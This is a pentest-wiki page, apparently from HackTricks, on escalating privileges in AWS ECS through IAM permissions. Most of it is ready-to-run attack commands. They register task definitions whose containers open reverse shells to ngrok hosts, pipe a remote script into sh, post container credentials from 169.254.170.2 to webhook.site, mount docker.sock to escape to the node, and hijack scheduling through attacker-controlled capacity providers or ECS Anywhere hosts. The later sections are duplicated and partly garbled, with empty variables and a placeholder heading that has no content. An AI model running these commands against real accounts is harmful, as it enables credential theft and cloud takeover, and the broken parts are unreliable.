# AWS - ECS Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## ECS

ECSに関する**詳細情報**は次を参照:

{{#ref}}
../../aws-services/aws-ecs-enum.md
{{#endref}}

### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`

ECSで`iam:PassRole`、`ecs:RegisterTaskDefinition`、`ecs:RunTask`の権限を悪用する攻撃者は、**新しいタスク定義を生成**し、メタデータの認証情報を盗む**悪意のあるコンテナ**を含めてそれを**実行する**ことができます。

{{#tabs }}
{{#tab name="Reverse Shell" }}
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
{{#endtab }}

{{#tab name="Webhook" }}

webhook.site のようなサイトで webhook を作成する。
```bash

# Create file container-definition.json
[
{
"name": "exfil_creds",
"image": "python:latest",
"entryPoint": ["sh", "-c"],
"command": [
"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
]
}
]

# Run task definition, uploading the .json file
aws ecs register-task-definition \
--family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 \
--memory 512 \
--requires-compatibilities FARGATE \
--container-definitions file://container-definition.json

# Check the webhook for a response

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

```
{{#endtab }}

{{#endtabs }}

**Potential Impact:** 別の ECS role への直接的な privesc。

### `iam:PassRole`,`ecs:RunTask`
`iam:PassRole` と `ecs:RunTask` の権限を持つ攻撃者は、**execution role**、**task role**、およびコンテナの **command** の値を変更した状態で新しい ECS タスクを起動できます。`ecs run-task` CLI コマンドには `--overrides` フラグがあり、タスク定義を変更せずに実行時に `executionRoleArn`、`taskRoleArn`、およびコンテナの `command` を変更できます。

`taskRoleArn` と `executionRoleArn` に指定された IAM ロールは、トラストポリシーで `ecs-tasks.amazonaws.com` による引き受けを許可／信頼している必要があります。

また、攻撃者は以下を把握している必要があります:
- ECS cluster name
- VPC Subnet
- Security group (セキュリティグループが指定されていない場合はデフォルトのものが使用されます)
- Task Definition Name and revision
- Name of the Container
```bash
aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
```
上のコードスニペットでは attacker は `taskRoleArn` の値のみを上書きしています。しかし、attack が成立するには、attacker がコマンドで指定した `taskRoleArn` とタスク定義で指定された `executionRoleArn` の両方に対して `iam:PassRole` 権限を持っている必要があります。

attacker が渡せる IAM ロールが ECR イメージのプルと ECS タスクの起動に必要な権限（`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`）を持っている場合、attacker は `ecs run-task` コマンドで `executionRoleArn` と `taskRoleArn` の両方に同じ IAM ロールを指定できます。
```sh
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
```
**Potential Impact:** 任意の ECS task role への直接的な privesc.

### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`

前の例と同様に、攻撃者が ECS 上で **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** 権限を悪用すると、メタデータ認証情報を盗む**悪意のあるコンテナ**を含む**新しい task definition**を生成して**実行**することができます。\
ただし、この場合、悪意のある task definition を実行するための container instance が必要になります。
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
**Potential Impact:** 任意のECSロールへの直接的なprivesc。

### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` 

前の例と同様に、ECSで**`iam:PassRole`、`ecs:RegisterTaskDefinition`、`ecs:UpdateService`** または **`ecs:CreateService`** 権限を悪用する攻撃者は、**メタデータ認証情報を窃取する悪意のあるコンテナ** を含む **新しいタスク定義を生成** し、少なくとも1つのタスクが稼働するサービスを作成してそれを**実行することができます。**
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>
```
**潜在的な影響:** 任意の ECS role への直接的な privesc.

### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`

実際には、これらの権限だけで overrides を使い、任意の role を割り当てたコンテナ内で任意のコマンドを実行できます。次のように：
```bash
aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
```
**Potential Impact:** 任意の ECS role への直接 privesc.

### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**

このシナリオは前のものと似ていますが、**`iam:PassRole`** 権限が**ありません**。\
これは依然として重要です。任意のコンテナを実行できる場合、たとえ role が付与されていなくても、**run a privileged container to escape** してノードに脱出し、**steal the EC2 IAM role** やノード上で動作している **other ECS containers roles** を奪うことができます。\
侵害した EC2 インスタンス内で他のタスクを実行させて資格情報を盗むよう **force other tasks to run inside the EC2 instance** することさえ可能です（詳細は [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node) を参照）。

> [!WARNING]
> この攻撃は **ECS cluster is using EC2** インスタンスを使用している場合にのみ可能で、Fargate では実行できません。
```bash
printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
```
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**

An attacker with the **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** can **execute commands** inside a running container and exfiltrate the IAM role attached to it (you need the describe permissions because it's necessary to run `aws ecs execute-command`).\
ただし、そのためにはコンテナインスタンス上で **ExecuteCommand agent** が動作している必要がある（デフォルトでは動作していない）。

Therefore, the attacker cloud try to:

- **実行中のすべてのコンテナでコマンドを実行してみる**
```bash
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
```
- もし **`ecs:RunTask`** の権限があれば、`aws ecs run-task --enable-execute-command [...]` でタスクを実行できます。
- もし **`ecs:StartTask`** の権限があれば、`aws ecs start-task --enable-execute-command [...]` でタスクを実行できます。
- もし **`ecs:CreateService`** の権限があれば、`aws ecs create-service --enable-execute-command [...]` でサービスを作成できます。
- もし **`ecs:UpdateService`** の権限があれば、`aws ecs update-service --enable-execute-command [...]` でサービスを更新できます。

**これらのオプションの例** は **前の ECS privesc sections** で見つけられます。

**潜在的な影響:** コンテナにアタッチされた別のロールへの Privesc。

### `ssm:StartSession`

この権限を悪用して **privesc to ECS** する方法は、**ssm privesc page** を参照してください:

{{#ref}}
../aws-ssm-privesc/README.md
{{#endref}}

### `iam:PassRole`, `ec2:RunInstances`

これらの権限を悪用して **privesc to ECS** する方法は、**ec2 privesc page** を参照してください:

{{#ref}}
../aws-ec2-privesc/README.md
{{#endref}}

### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`

これらの権限を持つ攻撃者は、ECS クラスターに EC2 インスタンスを登録してその上でタスクを実行する可能性があります。これにより、攻撃者は ECS タスクのコンテキスト内で任意のコードを実行できるようになります。

- TODO: 別の AWS アカウントからインスタンスを登録して、タスクが攻撃者が制御するマシン上で実行されるようにすることは可能か??

### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`

> [!NOTE]
> TODO: Test this

これらの権限（`ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`）を持つ攻撃者は、既存の **ECS service** に対して **悪意のある task set を作成し primary task set を更新する** ことができます。これにより攻撃者はサービス内で **任意のコードを実行する** ことが可能になります。
```bash
# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
```
**Potential Impact**: 影響を受けたサービスで任意のコードを実行でき、機能に影響を与えたり機密データを外部へ持ち出したりする可能性があります。

## References

- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)







### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

攻撃者が ECS capacity providers の管理やサービスの更新権限を持っている場合、自分で制御する EC2 Auto Scaling Group を作成し、それを ECS Capacity Provider にラップしてターゲットのクラスターに関連付け、被害者のサービスをそのプロバイダに移行させることができます。すると tasks は攻撃者が制御する EC2 インスタンス上にスケジュールされ、OS レベルでコンテナを調査したりタスクの IAM ロール資格情報を窃取したりすることが可能になります。

Commands (us-east-1):

- 前提条件

- ターゲットクラスターに参加させるための Launch Template（ECS agent 用）を作成

- Auto Scaling Group を作成

- ASG から Capacity Provider を作成

- Capacity Provider をクラスターに関連付ける（必要に応じてデフォルトにする）

- サービスを自分のプロバイダに移行

- tasks が攻撃者インスタンスに配置されることを確認

- 任意: EC2 ノードから docker exec でターゲットコンテナに入り、http://169.254.170.2 を読み取ってタスクロールの資格情報を取得

- クリーンアップ



**Potential Impact:** 攻撃者が制御する EC2 ノードに被害者の tasks が割り当てられ、コンテナへの OS レベルのアクセスやタスクの IAM ロール資格情報の窃取が可能になります。


<details>
<summary>ステップバイステップのコマンド（コピー/貼り付け）</summary>
<pre>
export AWS_DEFAULT_REGION=us-east-1
CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
# Instance profile for ECS nodes
aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true
aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true
aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true
aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || true

VPC=vpc-18e6ac62
SUBNETS=

AMI=ami-0b570770164588ab4
USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo=
LT_ID=

ASG_ARN=

CP_NAME=htcp-8797
aws ecs create-capacity-provider --name  --auto-scaling-group-provider "autoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLED"
aws ecs put-cluster-capacity-providers --cluster "" --capacity-providers  --default-capacity-provider-strategy capacityProvider=,weight=1

SVC=
# Task definition must be EC2-compatible (not Fargate-only)
aws ecs update-service --cluster "" --service "" --capacity-provider-strategy capacityProvider=,weight=1 --force-new-deployment

TASK=
CI=
aws ecs describe-container-instances --cluster "" --container-instances "" --query containerInstances[0].ec2InstanceId --output text
</pre>
</details>

### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration

ECS Anywhere を悪用して攻撃者が制御するホストを被害クラスタの EXTERNAL container instance として登録し、そのホスト上で特権付きの task と execution ロールを使って tasks を実行します。これにより tasks が実行される場所（自分のマシン）に対する OS レベルの制御が得られ、capacity providers や ASGs に触れずに tasks やアタッチされたボリュームから資格情報やデータを窃取できます。

- 必要な権限（例、最小）:
- ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
- ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (for the ECS Anywhere instance role and task/execution roles)
- logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs)

- Impact: 攻撃者ホスト上で選択した taskRoleArn を使って任意のコンテナを実行；169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI からタスクロールの資格情報を外部へ持ち出す；tasks にマウントされた任意のボリュームへアクセス；capacity providers/ASGs を操作するよりステルス性が高い。

Steps

1) クラスターを作成/特定する (us-east-1)
```bash
aws ecs create-cluster --cluster-name ht-ecs-anywhere
```
2) ECS Anywhere ロールと SSM アクティベーションを作成（オンプレ/EXTERNAL インスタンス用）
```bash
aws iam create-role --role-name ecsAnywhereRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
```
3) 攻撃者ホストをプロビジョニングし、EXTERNALとして自動登録する (例: 小さな AL2 EC2 を “on‑prem” として)

<details>
<summary>user-data.sh</summary>
```bash
#!/bin/bash
set -euxo pipefail
amazon-linux-extras enable docker || true
yum install -y docker curl jq
systemctl enable --now docker
curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh"
chmod +x /root/ecs-anywhere-install.sh
/root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1
```
</details>
```bash
AMI=$(aws ssm get-parameters --names /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 --query 'Parameters[0].Value' --output text)
IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
aws ec2 wait instance-status-ok --instance-ids $IID
```
4) EXTERNAL コンテナインスタンスが参加していることを確認する
```bash
aws ecs list-container-instances --cluster ht-ecs-anywhere
aws ecs describe-container-instances --cluster ht-ecs-anywhere \
--container-instances <ci-arn> --query 'containerInstances[0].[ec2InstanceId,attributes]'
# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external
```
5) task/execution roles を作成し、EXTERNAL task definition を登録して、attacker host 上でそれを実行する
```bash
# roles
aws iam create-role --role-name ht-ecs-task-exec \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ht-ecs-task-exec --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy
aws iam create-role --role-name ht-ecs-task-role \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
# attach any privileges you want to abuse to this task role

# task def (EXTERNAL launch)
cat > td-external.json << 'JSON'
{
"family": "ht-external",
"requiresCompatibilities": [ "EXTERNAL" ],
"networkMode": "bridge",
"memory": "256",
"cpu": "128",
"executionRoleArn": "arn:aws:iam::<account-id>:role/ht-ecs-task-exec",
"taskRoleArn": "arn:aws:iam::<account-id>:role/ht-ecs-task-role",
"containerDefinitions": [
{"name":"steal","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["REL=\$(printenv AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); echo CREDS:; curl -s http://169.254.170.2\$REL; sleep 600"],
"memory": 128,
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/anywhere","awslogs-stream-prefix":"steal"}}
}
]
}
JSON
aws logs create-log-group --log-group-name /ht/ecs/anywhere || true
aws ecs register-task-definition --cli-input-json file://td-external.json
CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'containerInstanceArns[0]' --output text)
aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
--container-instances $CI
```
6) ここからタスクを実行しているホストを制御できます。タスクログ（if awslogs）を読み取ったり、ホスト上で直接 exec してタスクから資格情報／データを exfiltrate できます。

#### コマンド例（プレースホルダ）

### 悪意ある Capacity Provider による ECS スケジューリングの乗っ取り (EC2 ASG takeover)

ECS capacity providers を管理し services を更新する権限を持つ攻撃者は、自分で制御する EC2 Auto Scaling Group を作成し、それを ECS Capacity Provider に組み込み、ターゲットクラスタに関連付け、被害者のサービスをこのプロバイダに移行させることができます。するとタスクは攻撃者が制御する EC2 インスタンス上にスケジュールされ、OS レベルからコンテナを調査したり task role credentials を窃取したりできるようになります。

Commands (us-east-1):

- 前提条件

- ECS agent がターゲットクラスタに参加するための Launch Template を作成

- Auto Scaling Group を作成

- ASG から Capacity Provider を作成

- Capacity Provider をクラスタに関連付け（オプションでデフォルトに）

- サービスをあなたのプロバイダに移行

- タスクが攻撃者インスタンス上に配置されることを確認

- 任意: EC2 ノードから docker exec で target コンテナに入り、http://169.254.170.2 を参照して task role credentials を取得

- クリーンアップ

**Potential Impact:** 攻撃者が制御する EC2 ノードに被害者のタスクが配置され、OS レベルでコンテナにアクセスできるようになり、task IAM role credentials の窃取が可能になります。
{{#include ../../../../banners/hacktricks-training.md}}
